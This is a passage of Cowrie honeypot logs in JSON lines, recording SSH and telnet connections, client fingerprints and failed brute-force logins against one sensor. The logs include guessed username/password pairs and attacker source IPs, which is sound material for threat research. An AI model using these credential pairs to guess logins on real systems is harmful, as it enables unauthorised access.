af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:33.887733Z","src_ip":"43.159.177.40","session":"96f4172be266","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver1","password":"mcserver1","message":"login attempt [mcserver1/mcserver1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:34.196710Z","src_ip":"43.159.177.40","session":"96f4172be266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:35.269844Z","src_ip":"43.159.177.40","session":"96f4172be266","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":44206,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c03679edd2c","protocol":"telnet","message":"New connection: 62.171.135.55:44206 (159.203.135.109:23) [session: 9c03679edd2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:35.396921Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vj.123345","message":"login attempt [root/Vj.123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:42.154396Z","src_ip":"213.209.159.158","session":"169f0accf5d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:45.746034Z","src_ip":"213.209.159.158","session":"169f0accf5d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":24414,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1b25e3ceeb3","protocol":"ssh","message":"New connection: 213.209.159.158:24414 (159.203.135.109:22) [session: f1b25e3ceeb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:45.825502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:47.983901Z","src_ip":"213.209.159.158","session":"f1b25e3ceeb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:47.987520Z","src_ip":"213.209.159.158","session":"f1b25e3ceeb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vmailpass","message":"login attempt [root/vmailpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:33:56.915762Z","src_ip":"213.209.159.158","session":"f1b25e3ceeb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.4","message":"Connection lost after 14.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:00.239323Z","src_ip":"213.209.159.158","session":"f1b25e3ceeb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":19472,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ef614666ae7","protocol":"ssh","message":"New connection: 213.209.159.158:19472 (159.203.135.109:22) [session: 4ef614666ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:00.326694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:02.416666Z","src_ip":"213.209.159.158","session":"4ef614666ae7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:02.421108Z","src_ip":"213.209.159.158","session":"4ef614666ae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":47484,"dst_ip":"159.203.135.109","dst_port":23,"session":"e86463296e83","protocol":"telnet","message":"New connection: 62.171.135.55:47484 (159.203.135.109:23) [session: e86463296e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:05.107647Z"}
{"eventid":"cowrie.session.closed","duration":31.256227731704712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:06.653039Z","src_ip":"62.171.135.55","session":"9c03679edd2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60394,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddd548462d76","protocol":"ssh","message":"New connection: 159.203.92.129:60394 (159.203.135.109:22) [session: ddd548462d76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:07.178773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:07.183041Z","src_ip":"159.203.92.129","session":"ddd548462d76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:07.187331Z","src_ip":"159.203.92.129","session":"ddd548462d76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"iftop1441414asd","message":"login attempt [ansible/iftop1441414asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:07.199427Z","src_ip":"159.203.92.129","session":"ddd548462d76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:08.205051Z","src_ip":"159.203.92.129","session":"ddd548462d76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":35684,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b9f6f829acf","protocol":"telnet","message":"New connection: 62.171.135.55:35684 (159.203.135.109:23) [session: 2b9f6f829acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:10.682237Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Virtualization","message":"login attempt [root/Virtualization] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:11.902904Z","src_ip":"213.209.159.158","session":"4ef614666ae7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:15.149173Z","src_ip":"213.209.159.158","session":"4ef614666ae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":31000,"dst_ip":"159.203.135.109","dst_port":22,"session":"54091b8d2655","protocol":"ssh","message":"New connection: 213.209.159.158:31000 (159.203.135.109:22) [session: 54091b8d2655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:15.226973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:17.667362Z","src_ip":"213.209.159.158","session":"54091b8d2655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:17.670757Z","src_ip":"213.209.159.158","session":"54091b8d2655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":52826,"dst_ip":"159.203.135.109","dst_port":22,"session":"b04f2523c0c4","protocol":"ssh","message":"New connection: 156.227.233.77:52826 (159.203.135.109:22) [session: b04f2523c0c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:20.724291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:20.735626Z","src_ip":"156.227.233.77","session":"b04f2523c0c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:20.896208Z","src_ip":"156.227.233.77","session":"b04f2523c0c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"samsung","message":"login attempt [admin/samsung] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:21.578993Z","src_ip":"156.227.233.77","session":"b04f2523c0c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:22.742790Z","src_ip":"156.227.233.77","session":"b04f2523c0c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":34326,"dst_ip":"159.203.135.109","dst_port":23,"session":"bad5dfec1a86","protocol":"telnet","message":"New connection: 68.178.160.252:34326 (159.203.135.109:23) [session: bad5dfec1a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:24.527871Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":48734,"dst_ip":"159.203.135.109","dst_port":22,"session":"908b9d38362f","protocol":"ssh","message":"New connection: 43.159.177.40:48734 (159.203.135.109:22) [session: 908b9d38362f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:24.842309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:24.851545Z","src_ip":"43.159.177.40","session":"908b9d38362f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:24.921391Z","src_ip":"43.159.177.40","session":"908b9d38362f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"qwertyuiop","message":"login attempt [tester/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:25.208818Z","src_ip":"43.159.177.40","session":"908b9d38362f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:26.281228Z","src_ip":"43.159.177.40","session":"908b9d38362f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vplt","message":"login attempt [root/Vplt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:27.394746Z","src_ip":"213.209.159.158","session":"54091b8d2655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":42130,"dst_ip":"159.203.135.109","dst_port":23,"session":"df9121ec6f14","protocol":"telnet","message":"New connection: 62.171.135.55:42130 (159.203.135.109:23) [session: df9121ec6f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:29.540295Z"}
{"eventid":"cowrie.session.closed","duration":"16.3","message":"Connection lost after 16.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:31.541940Z","src_ip":"213.209.159.158","session":"54091b8d2655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":65300,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bc4d7649567","protocol":"ssh","message":"New connection: 213.209.159.158:65300 (159.203.135.109:22) [session: 1bc4d7649567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:31.687177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:33.816596Z","src_ip":"213.209.159.158","session":"1bc4d7649567","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:33.819773Z","src_ip":"213.209.159.158","session":"1bc4d7649567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.046359062194824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:36.153875Z","src_ip":"62.171.135.55","session":"e86463296e83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":37390,"dst_ip":"159.203.135.109","dst_port":23,"session":"54eb54522b81","protocol":"telnet","message":"New connection: 62.171.135.55:37390 (159.203.135.109:23) [session: 54eb54522b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:37.013077Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":40474,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb4ce9c679e7","protocol":"telnet","message":"New connection: 68.178.160.252:40474 (159.203.135.109:23) [session: bb4ce9c679e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:34:38.739751Z"}
